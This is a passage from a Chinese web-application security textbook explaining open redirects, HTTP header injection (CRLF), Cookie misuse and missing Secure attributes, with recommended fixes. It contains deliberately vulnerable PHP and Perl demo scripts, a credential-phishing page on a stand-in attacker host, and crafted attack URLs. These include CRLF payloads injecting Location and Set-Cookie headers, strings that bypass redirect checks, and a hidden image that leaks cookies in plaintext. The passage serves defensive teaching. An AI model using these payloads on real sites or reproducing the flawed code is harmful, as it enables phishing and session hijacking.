isset($_POST['pwd']) ? $_POST['pwd'] : '';\n $url = isset($_POST['url']) ? $_POST['url'] : '';\n // 只要输入了用户名和密码就能成功登录\n if ($id != '' && $pwd != '') {\n // 重定向至指定的 URL\n header('Location: ' . $url);\n exit();\n}\n// 以下为登录失败的情况\n?>\n<body>\n用户名或密码错误\n<a href=\"47-001.php\"> 重新登录 </a>\n</body>\n代码清单 /47/47-003.php\n<html>\n<head><title> 认证成功 </title></head>\n<body>\n登录成功\n</body>\n</html>\n47-001.php、47-002.php、47-003.php 为极度简化后的登录脚本。由于仅用于演示，47-002.php 中没有检验用户名和密码。登录认证成功后会重定向至 POST 参数 url\n 所指定的 URL。重定向处理的内容即为输出 Location 消息头。图 4-60 展示了页面的跳转。\n图 4-60 重定向范例的页面跳转\n正常情况下，重定向目标应该为 47-003.php。但是，如果攻击者精心准备了能跳转到恶意网站的 URL 来让用户点击会怎样呢？\n假设此处恶意网站的 URL 为 http://trap.example.com/47/47-900.php\n 。以下为 47-900.php 的源代码。\n代码清单 /47/47-900.php\n<html>\n<head><title> 登录错误 </title></head>\n<body>\n用户名或密码错误。请再次登录。\n<form action=\"47-901.php\" method=\"POST\">\n用户名 <input type=\"text\" name=\"id\"><br>\n密码 <input type=\"password\" name=\"pwd\"><br>\n<input type=\"submit\" value=\" 登录 \">\n</form>\n</body>\n</html>\n攻击者会给用户发送邮件或在用户的博客中发表评论，想方设法地使用户浏览以下 URL。\nhttp://example.jp/47/47-001.php?url=http://trap.example.com/47/47-900.php\n由于域名没有问题，并且 HTTPS 的情况下证书也没有出错 41\n ，因此多数用户都会毫无防备地输入用户名和密码。这时，应用程序在 47-002.php 认证成功后，就会跳转到图 4-61 所示的恶意网页。\n41\n 本例中没有涉及 HTTPS。\n图 4-61 恶意网页\n虽然用户输入的确实是正确的用户名和密码，但看到这个页面后还是不免会产生疑惑而再次输入。由于用户已经进入到了恶意网站，因此，点击登录按钮后用户名和密码就会被发送给恶意网站，而如果随后又能跳转至正规页面（47-003.php），那么用户就在毫不知情的情况下被窃取了重要信息。\n安全隐患的产生原因\n自由重定向漏洞产生的原因有以下两点。\n重定向的目标 URL 能够由外界指定\n没有对重定向的目标域名进行校验\n以上两点是 AND 条件，也就是说只有同时满足这两点时才会形成自由重定向漏洞，因此，只要使其中一项无法满足也就消除了安全隐患。\n允许自由重定向的情况\n上面讲述的都是自由重定向导致安全隐患的情况，但并非所有的自由重定向都会造成安全隐患。例如，满足以下两个条件时就不会造成安全隐患。\n根据应用的需求本来就应该跳转至外部域名\n用户自己清楚会跳转至外部域名\n满足上述条件的一个重定向的例子就是横幅广告。虽然多数横幅广告都使用了应用内部的重定向功能，但只要用户能分辨出自己点击的是广告，那么即使有自由重定向功能也不会造成安全隐患。\n对策\n自由重定向漏洞的根本性防范策略有下列三项，实施时任选其一即可。\n1. 固定重定向的目标 URL\n2. 使用编号指定重定向的目标 URL\n3. 校验重定向的目标域名\n下面我们就来依次解说。\n固定重定向的目标 URL\n重新评估应用的需求，探讨是否能够固定 URL 的跳转去向，而不是由外界指定。只要能够固定重定向的目标，就能成功根除自由重定向漏洞。\n使用编号指定重定向的目标 URL\n由于某些原因而不得不采用可变的重定向目标时，可以采用“页面编号”的形式来指定目标 URL。页面编号和 URL 的对应表应该保存在外界无法访问的脚本源码或文件、数据库中。\n使用此方法后外界就无法任意指定域名，因此也就消除了自由重定向漏洞。\n校验重定向的目标域名\n如果使用编号来指定重定向目标的方法也行不通，那么就只能通过校验重定向目标来防止跳转至任意域名了。然而，由于该校验处理陷阱重重，因此推荐尽量使用上面两种方法。\n首先我们来看一个校验 URL 的失败案例。\n失败例 1\nif (mb_ereg('example\\.jp', $url)) {\n // 校验通过\n该例子虽然确保了 URL 中包含 example.jp，但是还远远不够。比如，以下包含了 example.jp 的 URL 就成功通过了验证，并使攻击得以成功。\n混过校验的 URL\nhttp://trap.example.com/example.jp\n.php\n失败例 2\nif (mb_ereg('^/', $url)) {\n // 校验通过\n该例子确保了 URL 以 /\n 开头。换言之，该校验的思路为，如果只允许指定相对 URL，就能杜绝重定向至外部域名。\n但是，以下 URL 就能够通过该校验。\n混过校验的 URL\n//trap.example.com/47/47-900.php\n以 //\n 开头的 URL 被称为“网络路径引用”，这种形式的 URL 指定主机名（FQDN）以下的内容。也就是说，该校验无法完全禁止跳转至外部域名 42\n 。\n失败例 3\nif (mb_ereg('^http://example\\.jp/', $url)) {\n // 校验通过\n第 3 个失败例的正则表达式使用前方一致匹配来确保 URL 以 http://example.jp\n 开头。但是，如果仅进行该校验的话就有可能会招致 HTTP 消息头注入攻击。而通过 HTTP 消息头攻击，有时还能够重定向至其他域名，因此，该方法也不能完全杜绝自由重定向漏洞。\n关于 HTTP 消息头注入的详情请参考下一小节。\n推荐写法\nif (mb_ereg('\\Ahttps?://example\\.jp/[-_.!~*\\'();\\/?:@&=+\\$,%#a-zA-Z0-9]*\\z', $url)) {\n // 校验通过\n推荐写法中确保了 URL 以 http://example.jp/ 开头，并且还保证了后面仅包含能被用于 URL（URI）的字符。另外，如 4.2 节中讲述的一样，此处使用了 \\A\n 和 \\z\n 匹配字符串的开头和结尾。而正则表达式 https?\n 则是为了能够同时匹配 http 和 https。\n42\n 虽然 HTTP/1.1 的规格 RFC2616 中规定了 Location 消息头中指定的 URL（URI）必须为绝对 URL（10.30 项），但主流浏览器都允许相对 URL 的形式。\n专栏：警告页面\n在拍卖网站及社交网站等用户输入的 URL 会以链接形式显示的网站中，攻击者通常会利用这个特性将用户诱导至钓鱼网站。\n而为了防止该攻击手段，可以添加一个叫作警告页面的网页，使用户无法直接跳转至外部域名的网站。在警告页面上提醒用户即将跳转至外部网站，以此来防止钓鱼式攻击。下图为雅虎拍卖网站的警告页面。通过显示该页面让用户提高警惕，然后再跳转至外部网站。\n图 4-62 雅虎拍卖网站的警告页面\n重定向中也能使用警告页面。而即使是在允许重定向至外部网站的情况下，也不建议直接跳转，而是应该考虑是否能插入警告页面来防止钓鱼式攻击。\n此外，由于警告页面还能够防止会话 ID 泄漏，因此在面向手机的应用中也有着广泛的应用。详情请参考 7.4 节。\n4.7.2 HTTP 消息头注入\n本节讲述 HTTP 消息头注入。HTTP 消息头注入漏洞除了会发生在重定向处理中，在 Cookie 输出等所有输出 HTTP 响应头的处理中也都有可能发生。\n概要\nHTTP 消息头注入漏洞是指在重定向或生成 Cookie 等基于外部传入的参数输出 HTTP 响应头时所产生的安全隐患。输出响应消息头时，攻击者通过在参数中插入换行符，就可以在受害人的浏览器上实现下列操作。\n任意添加响应消息头\n伪造响应消息体\n而针对 HTTP 消息头注入漏洞实施的攻击就叫作 HTTP 消息头注入攻击。\n响应头中的换行符有特殊意义，如果在输出过程中没有对外界指定的换行符进行处理，就会导致 HTTP 消息头注入漏洞产生。\nWeb 应用中若存在 HTTP 消息头注入漏洞，就会造成如下影响。\n生成任意 Cookie\n重定向至任意 URL\n更改页面显示内容\n执行任意 JavaScript 而造成与 XSS 同样的损害\n为了防范 HTTP 消息头注入漏洞，建议不要手动生成 HTTP 消息头的输出部分，而是利用专门用于输出消息头的程序库或 API。并且还要校验组成响应消息头的字符串中是否包含换行符，如果有换行符就报错并终止处理。\nHTTP 消息头注入漏洞总览\n攻击手段与影响\n接下来就让我们来看一下针对 HTTP 消息头注入漏洞的攻击手段及其影响。这里我们以执行重定向处理的 Perl 脚本为例进行说明。之所以用 Perl，是因为 PHP 实施了一些 HTTP 消息头注入的防范策略，很难用一个简单的例子将漏洞重现。但是，使用 PHP 同样会遭受 HTTP 消息头注入攻击，相关信息及防范策略将在本节的最后介绍。\n以下 CGI 脚本的作用为接收查询字符串中 url\n 的值，并重定向至 url\n 所指定的 URL。这里还针对 URL 实施了与前面介绍的“失败例 3”同样的域名校验。\n代码清单 /47/47-020.cgi\n#!/usr/bin/perl\nuse utf8; # 指定 Perl 源码的字符编码为 UTF-8\nuse strict; # 指定严格的变量定义方式\nuse CGI qw/-no_xhtml :standard/; # 使用 CGI 模块\nmy $cgi = new CGI;\nmy $url = $cgi->param('url'); # 取得查询字符串 url\n# 通过前方一致校验 URL 来防范自由重定向（不充分的防范策略）\nif ($url =~ /^http:\\/\\/example\\.jp\\//) {\n print \"Location: $url\\n\\n\";\n exit 0;\n}\n## URL 不正确时的错误消息\nprint <<END_OF_HTML;\nContent-Type: text/html; charset=UTF-8\n<body>\nBad URL\n</body>\nEND_OF_HTML\n正常情况下的画面跳转如下图所示。\n图 4-63 示例画面跳转\n重定向至外部域名\n下面我们使用以下 URL 执行此 CGI 脚本，首先请启动 Fiddler。这个 URL 很长，不想手动输入的话也可以从http://example.jp/47/\n 的菜单中点击“4.47-020:CGI 重定向（跳转至恶意网站）”链接。\nhttp://example.jp/47/47-020.cgi?url=http://example.jp/%0D%0ALocation:+http://trap.example.com/47/47-900.php\n这样执行之后，浏览器就会跳转到恶意网站。请注意看地址栏。\n图 4-64 恶意网页\n不可思议的是，明明已经对重定向的 URL 进行了前方一致的校验，为什么还会出现这种结果呢？为了查明真相，我们来使用 Fiddler 查看 HTTP 响应内容。\n图 4-65 使用 Fiddler 确认 HTTP 响应\n如下所示，Location 消息头指向了恶意网站，而原来的 Location 消息头却不见了。\nLocation: http://trap.example.com/47/47-900.php\n其实，造成这个谜题的关键为，CGI 脚本里面指定的查询字符串 url\n 中包含了换行符（%0D%0A）。该换行符使得 CGI 脚本输出了 2 行 Location 消息头，如下所示。\nLocation: http://example.jp/\nLocation: http://trap.example.com/47/47-900.php\nApache 从 CGI 脚本中接收的消息头中如果有多个 Location 消息头，Apache 就会只将最后的 Location 消息头作为响应返回，因此，原来的重定向目标就会作废，而被换行符后面指定的 URL 取而代之。\n像这样，通过在参数中插入换行符而添加新的 HTTP 响应头的攻击手段就是 HTTP 消息头注入攻击，而招致 HTTP 消息头注入攻击的漏洞就叫 HTTP 消息头注入漏洞。有时为了侧重攻击手法或现象，也会将其称为 CrLf 注入攻击或 HTTP 响应截断攻击。\n专栏：HTTP 响应截断攻击\nHTTP 响应截断攻击（HTTP Response Splitting Attack）的攻击手段为，通过 HTTP 消息头注入生成多个 HTTP 响应，使缓存服务器（代理服务器）将伪造内容进行缓存。\nHTTP/1.1 能够在一次连接中发送多个请求，而且响应也会在一个连接中被返回。于是，攻击者就会在执行 HTTP 消息头注入攻击所使用的 HTTP 请求（第 1 请求）后面，加上使服务器缓存伪造内容的 URL 所对应的 HTTP 请求（第 2 请求）。\n这时，通过对第 1 请求进行 HTTP 消息头注入攻击，在 HTTP 响应消息体中插入伪造内容，缓存服务器就会将这个伪造内容误认为第 2 请求的响应而将其缓存。由于此攻击能够使用伪造物来污染缓存中的内容，因此也被称为缓存污染。\n虽然单独使用 HTTP 消息头注入攻击也能达到改变页面的效果，但是那种情况下只有被攻击的用户才会受到短暂的影响。与此相对，污染缓存则可以增加受影响的用户群，并且还能够延长受影响的时间，从而使攻击的威力大增。\nHTTP 响应截断的产生原因与对策与 HTTP 消息头注入相同，因此这里就不再进行详述。如果有兴趣，可以参考独立行政法人信息处理推进机构发表的《安全的 Web 网站构建方法》43\n 的“1.7 HTTP 消息头注入”中的“缓存服务器的缓存污染”。\n生成任意 Cookie\n这里我们依然使用 47-020.cgi 来看看 HTTP 消息头注入造成的其他影响。首先，使用以下 URL 启动 CGI 脚本，或者从菜单（http://example.jp/47/\n ）中点击“5. 47-020:CGI 的重定向（设置 Cookie）”链接。\nhttp://example.jp/47/47-020.cgi?url=http://example.jp/47/47-003.php%0D%0ASet-Cookie:+SESSID=ABCD123\n此时，HTTP 响应如下图的 Fiddler 界面所示。\n图 4-66 通过 Fiddler 确认 HTTP 响应\n将图中箭头所指的地方放大，如下所示。\nSet-Cookie: SESSID=ABCD123\nLocation: http://example.jp/47/47-003.php\n可以看出 HTTP 消息头注入攻击中添加的 Set-Cookie 消息头生效了。而随后的 HTTP 请求则如图 4-67 所示。\n图 4-67 通过 Fiddler 确认随后的 HTTP 请求\n同样将图中箭头所指的地方放大，如下所示。可以看出前面生成的 Cookie 确实被设置到了浏览器中。\nCookie: SESSID=ABCD123\n而一旦外界能够随意生成 Cookie 值，就能配合 4.6 节介绍的会话固定攻击来针对用户发动伪装攻击。\n显示伪造页面\n通过 HTTP 消息头注入攻击还能够显示伪造页面。由于针对重定向处理页面的攻击不太容易实现 44\n ，因此，这里我们选择以生成 Cookie 的 CGI 脚本为例，来示范如何显示伪造页面。\n代码清单 /47/47-021.cgi\n#!/usr/bin/perl\nuse utf8;\nuse strict;\nuse CGI qw/-no_xhtml :standard/;\nuse Encode qw(encode decode);\nmy $cgi = new CGI;\nmy $pageid = $cgi->param('pageid');\n# encode 通过 encode 函数将编码转换为 UTF-8 后输出\nprint encode('UTF-8', <<END_OF_HTML);\nContent-Type: text/html; charset=UTF-8\nSet-Cookie: PAGEID=$pageid\n<body>\n已设置 Cookie 值\n</body>\nEND_OF_HTML\n这段脚本中接收了名为 pageid\n 的查询字符串，并将其原封不动地生成了名为 PAGEID\n 的 Cookie。\n首先，为了确认脚本在正常情况下的执行结果，使用以下 URL 启动脚本。\nhttp://example.jp/47/47-021.cgi?pageid=P123\n此时 Fiddler 的界面显示如下。\n图 4-68 通过 Fiddler 确认 HTTP 响应\n能看到这里生成了 PAGEID=P123 的 Cookie 值。\n下面我们就来尝试攻击该 CGI 脚本，以使其显示伪造页面。使用以下 URL 执行脚本，如果不想手动输入，可以在http://example.jp/47/\n 中点击“7. 47-021:CGI 中设置 Cookie（伪造页面）”链接。\nhttp://example.jp/47/47-021.cgi?pageid=P%0D%0A%0D%0A\n%e2%97%8b%e2%97%8b%e9%8a%80%e8%a1%8c%e3%81%af%e7%a0%b4%e7%94%a3%e3%81%97%e3%81%be%e3%81%97%e3%81%9f\n下图即为执行后的页面显示。\n图 4-69 伪造画面\n此时，HTTP 消息如下图所示。\n图 4-70 通过 Fiddler 确认 HTTP 响应\n在 Set-Cookie 消息头后面连续输出两个换行时，后面的数据就会被视为消息体。\n如果不加修饰，这里就依然能够看到原来的页面，但正如 4.3.1 节所介绍的那样，通过 CSS 等手段是能将原来的页面隐藏的。\n另外，虽然本例中只是在页面上显示了某银行破产的谣言，但如果更进一步的话，通过制作伪造的表单来窃取个人信息的钓鱼式攻击、或通过执行 JavaScript 来窃取 Cookie 值等都是能够实现的。换言之，HTTP 消息头注入造成的页面被篡改，能够造成与 XSS 同样的影响。\n43\n 原标题为“安全なウェブサイトの作り方”。URL ：http://www.ipa.go.jp/security/vuln/websecurity.html\n 。\n44\n CGI 脚本中一旦生成 Location 消息头，HTTP 状态码就会被自动设置成 302。而要成功显示伪造页面，就必须在 CGI 脚本中将状态码强制更改为 200，但这在现在的 Apache 中是很难做到的。\n安全隐患的产生原因\nHTTP 响应头信息能够以文本格式逐行定义消息头，也就是说消息头之间互相以换行符相隔。而如果攻击者恶意利用该特性，在指定重定向目标 URL 或 Cookie 值的参数中插入换行符，且该换行符又被直接作为响应输出的话，就会产生 HTTP 消息头注入漏洞。\n专栏：HTTP 消息头与换行\nURL 和 Cookie 中本身可不可以包含换行符呢？首先，标准规格中规定了 URL 不能包含换行符。因为查询字符串中包含换行符时会被百分号编码为 %0D%0A，而重定向处理中传递 URL 时照理已经执行过了百分号编码，因此 URL 中有换行符是不正常的。\n另一方面，Cookie 值中有时则需要加入换行符。而由于 Cookie 值中除了不能有换行符，也不能包含空格、逗号或分号，因此习惯对 Cookie 值进行百分号编码45\n 。百分号编码后，换行符被编码为 %0D%0A，也就不会产生 HTTP 消息头注入漏洞了。\n45\n Netscape 公司的 Cookie 规格中有如下记载：This string is a sequence of characters excluding semi-colon, comma and white space. If there is a need to place such data in the name or value, some encoding method such as URL style %XX encoding is recommended, though no encoding is defined or required.\n对策\n针对 HTTP 消息头注入漏洞，最可靠的对策就是不将外界传入的参数 46\n 作为 HTTP 响应消息头输出。\n46\n 外界传入的参数的一个典型的例子就是 HTTP 请求中的值，除此之外，也包括经过电子邮件或数据库等从外部发送过来的参数。\n对策 1：不将外界参数作为 HTTP 响应消息头输出\n绝大多数情况下，经过重新进行设计评估后，都能够做到不将外界参数作为 HTTP 响应消息头输出。Web 应用中会用到输出 HTTP 响应消息头的典型功能为重定向和生成 Cookie，而只要遵循以下方针，就能大幅减少直接将外界参数作为消息头输出的机会。\n不直接使用 URL 指定重定向目标，而是将其固定或通过编号等方式来指定\n使用 Web 应用开发工具中提供的会话变量来移交 URL\n因此，在设计阶段就应该尽量不把外界参数作为 HTTP 响应消息头输出。而如果无论如何都必须将外界参数输出到 HTTP 响应消息头中的话，可以参考以下对策。\n对策 2：执行以下两项内容\n由专门的 API 来进行重定向或生成 Cookie 的处理\n校验生成消息头的参数中的换行符\n下面我们就来对这两项内容进行详细解说。\n由专门的 API 来进行重定向或生成 Cookie 的处理\nCGI 脚本中能够使用 print\n 等语句直接记述 HTTP 响应消息头，但是使用这种方法需要严格遵守 HTTP 和 Cookie 等的标准规格，否则就可能会导致安全隐患等 Bug 的产生。\nPerl 语言的 CGI 模块或 PHP 等 Web 应用开发语言或程序库中提供了功能丰富的函数，通过使用这些函数输出 HTTP 消息头，原则上就能够防范安全隐患。表 4-16 归纳了各语言中提供的输出 HTTP 消息头的功能。但需要注意的是，应当尽量利用生成 Cookie 以及重定向功能的程序库，程序库中未提供的情况下才使用输出响应消息头的功能。\n表 4-16 各语言中提供的输出 HTTP 响应消息头的功能\n语言\n生成 Cookie\n重定向\n输出响应消息头\nPHP\nsetcookie / setrowcookie\n无（利用 header）\nheader\nPerl+CGI.pm\nCGI::Cookie\nredirect\nheader\nJava Servlet\nHttpServletResponse#addCookie\nHttpServletResponse#sendRedirect\nHttpServletResponse#setHeader\nASP.NET\nResponse.Cookies.Add\nResponse.Redirect\nResponse.AppendHeader\n使用了这些程序库后，理想状态下就能消除 HTTP 消息头注入漏洞了。然而遗憾的是，现实中即使利用了上面这些功能，有时也无法完全杜绝安全隐患。\n因此，我们需要同时实施以下对策。\n检验生成消息头的参数中的换行符\nHTTP 响应消息头相关的 API 中很多都没有检验换行符。而在笔者看来，之所以出现这种情况，大概是因为业界就究竟该由 API（程序库）还是应用方面来负责 HTTP 消息头注入这一问题还没有达成共识。虽然笔者的观点是应该由 API 方面负责，但是由于目前 API 方面做的还不够充分，因此，为了保护自己，我们就不得不在应用方面多下功夫。\n针对换行符的处理方法有如下两种。\nURL 中含有换行符时就报错\n将 Cookie 中的换行符进行百分号编码\n如果程序库中已经对 Cookie 值进行了百分号编码，那么应用中就可以省去这一操作。PHP 的 setcookie\n 函数和 Perl 的 CGI::Cookie\n 模块会在程序库中对 Cookie 值进行百分号编码。使用其他的语言或程序库时，请事先调查 Cookie 值是否会被百分号编码。\n接下来就让我们看一下通过 PHP 的 header\n 函数来实现包含字符种类校验功能的重定向函数的示例。\n代码清单 /47/47-030.php\n <?php\n // 定义重定向函数\n function redirect($url) {\n // URL 中含有非法字符时就报错并中止处理\n if (! mb_ereg(\"\\\\A[-_.!~*'();\\\\/?:@&=+\\\\$,%#a-zA-Z0-9]+\\\\z\", $url)) {\n die('Bad URL');\n }\n header('Location: ' . $url);\n }\n // 调用示例\n $url = isset($_GET['url']) ? $_GET['url'] : '';\n redirect($url);\n ?>\n这段脚本定义了名为 redirect\n 的函数，函数中会校验 URL 的字符种类，只在校验通过的情况下才能使用 header\n 函数执行重定向操作。\n但是，redirect\n 函数内仅进行了字符种类的校验，并没有校验 URL 的格式是否正确。另外，此处的字符种类校验规则比 RFC3986 还要严格，指定 IPv6 的 IP 地址时 [\n 和 ]\n 都会被报错。因此，在进行操作时，应该根据实际用途来调整具体的校验规则。\n专栏：PHP 的 header 函数中进行的换行符校验\n根据 PHP 的官方文档47\n ，4.4.2 以及 5.1.2 版本的 header\n 函数的更新日志中有如下记载：“为了防范消息头注入攻击，该函数不能一次发送多个消息头”。\n但是，作为消息头注入攻击的应对策略，这个方法并不充分。PHP 中校验换行符时仅校验了 LF（0x0A），而没有校验 CR（0x0D）（确认于 PHP 5.3.5）。因此，在部分用户的浏览器上，仅使用 CR 换行符的 HTTP 消息头注入攻击仍然是有效的。\n笔者调查后发现，针对 Internet Explorer、Google Chrome、Opera 这 3 种浏览器，实施仅使用 CR 换行符的 HTTP 消息头注入攻击都能够取得成功，而在 Firefox 和 Apple Safari 中攻击则没有奏效。\n而从以上事实中也能够看出，仅依靠 PHP 的 header\n 函数中的校验来实现重定向处理是存在危险的。\n47\nhttp://us2.php.net/manual/zh/function.header.php\n4.7.3 重定向相关的安全隐患总结\n重定向处理中产生的典型安全隐患为自由重定向漏洞和 HTTP 消息头注入漏洞。\n针对这两个漏洞的对策可归纳如下。\n重定向处理尽量使用专门的 API（程序库函数）\n以下任选其一\n固定重定向目标（推荐）\n重定向目标 URL 由外界指定时，务必校验字符种类和域名\n4.8 Cookie 输出相关的安全隐患\nWeb 应用中广泛使用 Cookie 来进行会话管理，而如果 Cookie 的使用方法不当就会滋生安全隐患。与 Cookie 相关的安全隐患大致可分为以下两类。\nCookie 的用途不当\nCookie 的输出方法不当\n本节将首先介绍 Cookie 的正确用途，即 Cookie 应当被用于保存会话 ID，而不应该将应用的数据保存在 Cookie 中。具体原因在后面会进行说明。\n接着我们会详细讲述输出 Cookie 时容易产生的安全隐患，有如下两种。\nHTTP 消息头注入漏洞\nCookie 的安全属性设置不完善\n以上两种都是与被动攻击相关的安全隐患。HTTP 消息头注入漏洞在 4.7.2 节中已经做过介绍。而 Cookie 的安全属性设置不完善这一点将在 4.8.2 节中讲述。\n4.8.1 Cookie 的用途不当\nWeb 应用中需要存储包含多个网页的信息时，一般会使用 PHP 或 Servlet 容器等提供的会话管理机制。通常情况下，会话管理机制仅将会话 ID 保存至 Cookie，而将数据本身保存在 Web 服务器的内存或文件、数据库中。如果在 Cookie 中保存了不该保存的数据，就有可能产生安全隐患。\n不该保存在 Cookie 中的数据\n下面我们来看一下因在 Cookie 中保存了不恰当的内容而引发安全隐患的情况。我们知道，外界无法更改会话变量，而应用的用户则能够更改自己的 Cookie 值。因此，如果将不希望被用户擅自更改的数据保存在 Cookie 中，就有可能会导致安全隐患。\n像用户名和权限信息等，就是不可以被用户擅自更改的数据的代表性例子。一旦将这些信息保存在 Cookie 中，就有可能出现用户越权操作或越权浏览等现象。详情请参考 5.3 节。\n参考：最好不要在 Cookie 中保存数据的原因\n尽管将数据保存在 Cookie 中并非一定会造成安全隐患，但一般还是不推荐这种做法。为了解释其原因，我们先来看一下表 4-17 中所归纳的将数据保存至 Cookie 和使用会话变量这两种方法的比较。\n表 4-17 Cookie 和会话变量的比较\nCookie\n会话变量\n易用性\n通过 API 进行取值和赋值\n与普通变量的用法基本一致\n存储数组或对象\n需要在应用中转换为字符串\n大多都和变量一样可以直接赋值\n容量限制\n有严格的限制\n使用上没有限制\n用户直接查看存储的信息\n容易\n不可能\n漏洞等导致 Cookie 泄漏后的信息泄漏情况\nCookie 被泄漏后信息也会被泄漏\n可以通过控制使信息不易泄漏\n数据被用户更改\n容易\n不可能\n数据被第三方更改\n如果有 XSS 或 HTTP 消息头注入等漏洞就可能被更改\n即使有可导致 Cookie 被更改的漏洞，会话变量也无法被更改\n控制信息的有效期限\n容易\n仅限当前会话\n不同服务器之间共享信息\n域名相同时可能\n基本不可能\n如上表所示，使用会话变量无法实现而使用 Cookie 可以实现的项目，只有控制信息有效期限和不同服务器之间共享信息这两点。除此以外，会话变量既安全又便利，因此，一般来说最好使用会话变量。\n会话变量之所以可以通过控制使信息不易泄漏，是因为在 Web 应用中，在显示机密信息时可以要求用户再次输入密码（再认证）。另外，会话过期（Session Timeout）后，保存在会话中的信息也就会无法显示。而将信息保存在 Cookie 中的情况下则很难进行这样的控制。\n另一方面，如果需要保存一些横跨会话和服务器的信息，则可以使用 Cookie。其中一个典型的案例就是登录页面的“保持登录状态”功能。图 4-71 为 Google 的登录页面，密码框下有“保持登录状态”的单选框，选中它后就会通过 Cookie 保持登录状态。\n图 4-71 Google 的登录页面\n关于如何实现“保持登录状态”的功能，请参考 5.1.4 节。另外，此情况下 Cookie 中同样也应当只保存随机数，称为令牌。而不要将用户名和密码等“数据”保存在 Cookie 中。认证状态等信息则由服务器来管理。\n专栏：Padding Oracle 攻击与 MS10-070\n在一些 Web 应用开发框架中，会话信息不仅会被保存在服务器端，而且还会在客户端以 hidden 参数或加密 Cookie 的形式保存。其中一个典型的例子就是 ASP.NET，它的页面状态（ViewState）被保存在 hidden 参数中，而认证状态（Form Authentication Ticket）则被保存在了 Cookie 中。而且这些值都会使用 RFC2040 算法进行加密。\n然而，在 2010 年 9 月 17 日的 Ekoparty 安全会议上，T.Duong 与 J.Rizzo 两人表示通过名为 Padding Oracle 48\n 的攻击方法就能够破解这些加密信息。微软立刻意识到了事态的严重性，成立紧急对应小组在 10 天时间内开发出了对应的补丁程序，并打破更新补丁每月发布一次的惯例，破例对外紧急提供。这就是 MS10-070 安全更新补丁（2010 年 9 月 29 日发布）。\n而从这个事件中我们也能够得到两个教训。第一，即使进行了加密，保存在客户端的信息也有被解密的风险。第二，平台中提供的会话管理机制被曝出安全隐患后，需要在最短时间内将问题解决。有关平台中的安全隐患的对应措施，请参考 7.1 节。\n参考\nEkoparty 安全会议上发表的幻灯片（英文）\nhttp://netifera.com/reserch/poet/PaddingOraclesEverywhereEkoparty2010.pdf\n安全性公告 MS10-070“ASP.NET 的安全漏洞可能引发信息泄漏（2418042）”\nhttp://technet.microsoft.com/en-us/security/bulletin/MS10-070\n48\n Padding Oracle 是一个解密手段的名称，与著名的数据库 Oracle 没有关系。\n4.8.2 Cookie 的安全属性设置不完善\n概要\n正如第 3 章中介绍的那样，Cookie 中含有名为 Secure 的属性（以下记为安全属性），指定了安全属性的 Cookie 仅在 HTTPS 传输的情况下才会被浏览器发送至服务器。而如果 Cookie 没有指定安全属性，那么即使应用中使用了 HTTPS 传输，Cookie 也仍然有可能会以明文的方式传输，这样就会有被监听的风险。\nCookie 中通常保存了会话 ID 等事关安全性的重要信息，因此一旦被窃听就会直接导致伪装攻击。\n为了解决 Cookie 的安全属性设置不完善这一问题，最直接的对策就是设置 Cookie 的安全属性。然而，有些网站同时使用 HTTP 与 HTTPS 两种传输方式，如果在存有会话 ID 的 Cookie 中设置了安全属性，应用就可能会运行不正常。这种情况下可以采取以下解决方法，即除了使用会话 ID，再生成一个令牌作为设有安全属性的 Cookie，并在每个 HTTPS 页面中确认该令牌值。详情请参考本节的“对策”。\nCookie 的安全属性设置不完善总览\n攻击手段与影响\n下面我们就来看一下针对 Cookie 的安全属性设置不完善这一问题的攻击模式与其造成的影响。本书事先为读者在网络上准备了使用 HTTPS 并且生成不带安全属性的 Cookie（PXPSESID）的网页（https://www.hash-c.co.jp/wasbook/set_non_secure_cookie.php\n ）。源代码如下。\n代码清单 set_non_secure_cookie.php\n<?php\nini_set('session.cookie_secure', '0'); // 关闭安全属性\nini_set('session.cookie_path', '/wasbook/'); // 指定路径\nini_set('session.name', 'PXPSESID'); // 更改会话 ID 名\nsession_start(); // 会话开始\n$sid = session_id(); // 取得会话 ID\n?>\n<html>\n<body>\n会话已经开始 <br>\nPXPSESID =\n<?php echo htmlspecialchars($sid, ENT_NOQUOTES, 'UTF-8'); ?>\n</body>\n</html>\n此页面被托管在笔者所在企业的主页上，为了防止被恶意使用，这里采取了限定 Cookie 的路径和更改默认会话 ID 名称等方法。\n接下来，我们就来体验一下如何使用这个页面窃听不带安全属性的 Cookie。\n1. 启动 Fiddler\n2. 用户浏览上述页面后，浏览器中就被设置了 Cookie（PXPSESID）\n3. 访问恶意网页\n4. 在 Fiddler 中能看到恶意网站发送的请求中附带了 Cookie 信息\n下面我们来讲解具体的流程。在 http://example.jp/48/\n 的菜单（下记为“/48/ 菜单”）中点击“1.HTTPS 中设置 Cookie（无安全属性）”链接，进入设置 Cookie 的页面。如图 4-72 所示。\n图 4-72 设置 Cookie 的页面\n此时，浏览器中就被设置了不带安全属性的 Cookie。\n接着返回到 /48/ 菜单，点击“2.48-900: 浏览恶意网站”链接。也可以直接输入 URL http://trap.example.com/48/48-900.html\n 进入。此页面上有一个看不见的图像（高度和宽度都设置为 0），它的引用地址为 http://www.hash-c.co.jp:443/wasbook/\n 。下面是 HTML 代码。\n<body>\n恶意网页\n<img src=\"http://www.hash-c.co.jp:443/wasbook/\" width=\"0\" height=\"0\">\n</body>\nURL 中的端口号 443 是 HTTPS 的默认端口，但由于指定的协议为 http:，因此该请求在被发送时并没有进行加密。另外，虽然此 URL 指定的目标中不存在图像，但由于目的是让浏览器发送 Cookie，所以就算没有图像，攻击也照样能成功。\n浏览恶意网页后，Fiddler 会弹出警告（下图），这里不用管它直接点击 OK 按钮 49\n 。\n49\n 使用 Wireshark 确认数据包后，Host 消息头中的端口号（:443）设置没有问题，因此该警告或许是 Fiddler 的 Bug。\n图 4-73 Fiddler 弹出警告后点击 OK 按钮\n通过下图就能够查看发向目标网站的 HTTP 消息。\n图 4-74 从恶意网站发出的请求中附带了 Cookie\n在恶意网站使用 443 端口发送 HTTP 请求（明文）之后，原本应该使用 HTTPS 进行传输的 Cookie 值在未经加密的情况下开始在网络上传输。其情形如下图所示。\n图 4-75 针对 Cookie 的安全属性不完善实施攻击\n而一旦攻击者成功窃取未经加密的 Cookie 值，就能用它来实施会话劫持。\n关于抓包方法的注意点\n此处讲述的监听方法中网络传输经过了代理，这与不经过代理时的条件略有不同。\n没有经过代理时，浏览器与 Web 服务器直接通信，因此要让浏览器发送请求，就需要指定 Web 服务器上开放的端口。就像上面的试验中指定了端口号 443。\n而通信经过代理时，浏览器的所有请求都会先发送到代理服务器。因此，使用身为代理的 Fiddler 观测时，可以发现指定 443 以外的端口号也能够发送请求。具体情形如下图所示。\n图 4-76 有代理和无代理时的 HTTP 